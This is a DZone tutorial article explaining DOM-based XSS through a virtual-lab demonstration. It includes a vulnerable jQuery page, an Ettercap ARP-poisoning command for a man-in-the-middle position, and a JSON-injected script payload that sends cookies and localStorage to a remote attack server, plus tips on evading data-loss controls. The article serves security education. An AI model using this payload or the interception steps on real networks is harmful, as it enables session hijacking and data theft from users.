Over a million developers have joined DZone.

Attacking the Client

Read on to learn about DOM-Based XSS attacks, in a great article from our 2015 Guide to Application Security!

· Web Dev Zone

Start coding today to experience the powerful engine that drives data application’s development, brought to you in partnership with Qlik.

This article is featured in the DZone Guide to Application Security. Get your free copy for more insightful articles, industry statistics, and more.

Understanding DOM-Based XSS Attacks

Over the past few years, we’ve made great progress in making web-based attacks better known. Just about everybody has heard about attacks like SQL Injection, Cross-Site Scripting (XSS), or Cross-Site Request Forgery (CSRF). All of these attacks target a server first, and then potentially a client. SQL Injection can be used to attack server infrastructure or the client, depending on whether the attacker injects SQL commands or more active inputs (which moves into stored XSS territory). XSS attacks have typically fallen into one of two categories: Reflected or Stored. Reflected XSS attacks immediately submit active content to a browser, while Stored attacks store active content and later submit it to a browser. Recently, a third type of XSS attack has been gaining popularity—DOM-based (or client-side) XSS attacks.

A DOM-based XSS attack involves submitting script information via the URL that’s then injected into the browser DOM. This is a surprisingly common vulnerability; the basic approach—pushing dynamic content into the DOM for more dynamic display—has been around for over a decade and is absolutely essential to how modern client-side web frameworks work. Problems arise with this approach when you can’t secure the information that’s injected into the DOM. We’re accustomed to these kinds of attacks occurring because you’re taking information from a URL and rendering that within the browser. Keep in mind, though, that this kind of attack can leverage any kind of data that is read into the DOM for display. This information isn’t only submitted via a URL. It can come from an AJAX call, a cookie, local storage, or some kind of web service. I frequently see developers dynamically displaying data delivered in JSON payloads via REST-style interfaces, for example. All that needs to happen to exploit this is to inject malicious content into the JSON response. And that’s exactly what I’m going to show you how to do.


In this scenario, we’re going to hijack a JSON response and insert code that reads, collects, and then sends your cookies and the contents of local storage to a remote server. In this example, we’re reviewing how you can do this with available, downloadable, free tools and a small amount of additional JavaScript. This example is simple to demonstrate how you’d go about executing this kind of attack. We’re hijacking a JSON response to an AJAX call and inserting code into the browser DOM. While we’re going over how we can do this in a trivial application— with only the functionality needed to show the basic approach—savvy attackers can execute similar attacks using additional tools that could downgrade HTTPS connections to HTTP for more sophisticated applications like, say, a banking site or a corporate intranet.

Corporate intranet applications are particularly juicy targets for this kind of attack. These kinds of applications will frequently reference external resources, like common JavaScript libraries. This is another way we can inject arbitrary code into a browser. Due to the common assumption of increased security within corporate cyber-boundaries, corporate developers will commonly use HTTP rather than HTTPS on websites, including for REST requests. In those cases, the kind of attack we’re reviewing would work nearly verbatim. As simple as this example is, the basic technique can be used in a variety of different situations.


We need a few tools in order to make this attack work. First, you’ll need to download and install Ettercap or use Kali Linux (which has Ettercap pre-installed). Next, you’ll need to configure a simple network with four hosts: an attacker, an HTTP server, a malicious HTTP Server, and an HTTP client. You can configure this physically, using a single switch and associated cabling; you can use a wireless network; or you can use a virtual network via Virtualbox or VMWare Workstation.

Figure 1: The experimental configuration. VMWare allocated the private subnet and IP addresses.

I used VMWare workstation to configure my virtual test network. I also used Kali Linux (v. 2.0) and Ubuntu server (v. 15.10) instances for the experimental systems. The Kali system is configured with a bit more computational horsepower than the Ubuntu images, as I run it via its GUI. The Ubuntu systems are single processor images with 512 GB of RAM and 20 GB of storage. These I run via the command line, and I use X11 forwarding to use applications like Firefox (i.e., use the -X option to log into the system via ssh and X11 applications will forward to your local XServer). I use this configuration with both Linux and Mac OS X. I haven’t tested this approach on Microsoft Windows, but if you have access to a robust Windows-based SSH client and an X11 server, you should be able to use Windows as well. I configure all IPs with DHCP via VMWare Workstation. In this case, this oh-so-sophisticated application loads a page and then allows users to load and display an arbitrary list of names. This is the sample page. Note that this page is nothing special—it’s essentially a typical JQuery AJAX call derived from JQuery documentation:

<!DOCTYPE html>
 <meta charset="utf-8">
 <title>Simple DOM Injection Example</title>
 <button onclick="getNames()">Set Names</button>
 <p id="namesList"></p>
 <script src="http://code.jquery.com/jquery-2.1.4.js"></script>
 <script src="js/script.js"></script>
   var getNames = function() {
       type: 'GET',
       url: "names.json",
       contentType: "application/json; charset=utf-8",
       dataType: 'json',
       success: function (data) {
           var html = '';
           for (i in data) {
             html += data[i] + '<br>';

Listing 1: The name listing page.

The listing page is served from the HTTP server at *.137. It loads a list of names from a REST service, and then inserts those names into the page DOM associated with the namesList element. The data returned from the REST service is a simple JSON array containing a list of names: specifically, ["Frank", "Susan", "Horatio"]. What we want to do is to alter the JSON array so that what the web client loads contains a script element.

In order to do this, we’ll first use Ettercap as the attacking host and use a filter to insert a script element into the returned REST response. Ettercap is a tool that allows attackers to acquire a man-in-the-middle position between an attacked client and, really, any servers that client might attach to. In this case, we want to capture traffic between the attacked client and the web server so we can inject our script element. Ettercap is straightforward to use—all we need to do is intercept traffic between the attacked hosts and the sever. In this case, we’ll use an ARP cache poisoning attack with an attached filter. From the command line on the attack system, we’ll execute this command: ettercap -TqM arp:remote -F ./injection.ef / This command inserts the ettercap application between the client and any systems that client might access. The filter injects the script into the returned JSON array by replacing the Horatio string with a string including your attack script (for brevity, I’m omitting the filter, but etterfilter is well documented). The injected code, in context, will look like this:

["Frank", "Susan", "Horatio", "<script>(function() { var yourData = JSON.stringify({cookies: document.cookie, storage: localStorage}); $.ajax({ type: 'POST', url: '', data: yourData }); })();</script>"]

Listing 2: JSON with the payload.

This payload, based on innumerable examples on how to use local storage and cookies, pulls the content of the local data store and all cookies and sends them to the attack server running at The payload is encapsulated in a self-executing function, so as soon as it loads into the browser, it’ll run, extract the local information, and exfiltrate it to the remote host.

Figure 2: The attack sequence.

That’s it! You have successfully executed a DOM-based XSS attack and exfiltrated data from the client. This example, while simple, is sufficiently realistic in that every step is feasible and executable from within most corporate environments. A savvy attacker would use HTTPS rather than HTTP to circumvent any data loss prevention controls, and the MITM position may need to be executed in a different way. Nevertheless, DOM-based XSS attacks, today, are relatively straightforward to execute.

Really, today, applications are becoming more and more complex as we keep asking HTTP to do things for us it was never intended to do. Back when it was first designed, HTTP was intended to only be a way to share text-based information, and only on LANs. As a technology, it has certainly proven to be embarrassingly versatile. But honestly, who back at CERN would have thought that HTTP would be commonly used as a global RPC protocol? The particular attack I’ve discussed is not complex, but it uses vectors that didn’t exist just a few years ago. Injecting code into a data stream like we did here would have been much more difficult when we only had one stream of data to the browser. Unfortunately, many today still think this kind of attack is difficult. But us, well, we know better. And when somebody claims that this kind of thing is too hard to be realistic, now, you can show them otherwise.

For more insights on security tools, application vulnerabilities, and how to build secure applications, get your free copy of the DZone Guide to Application Security!

Create data driven applications in Qlik’s free and easy to use coding environment, brought to you in partnership with Qlik.

web dev,security,dom,xxs

The best of DZone straight to your inbox.

Please provide a valid email address.

Thanks for subscribing!

Awesome! Check your inbox to verify your email so you can start receiving the latest in tech news and resources.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}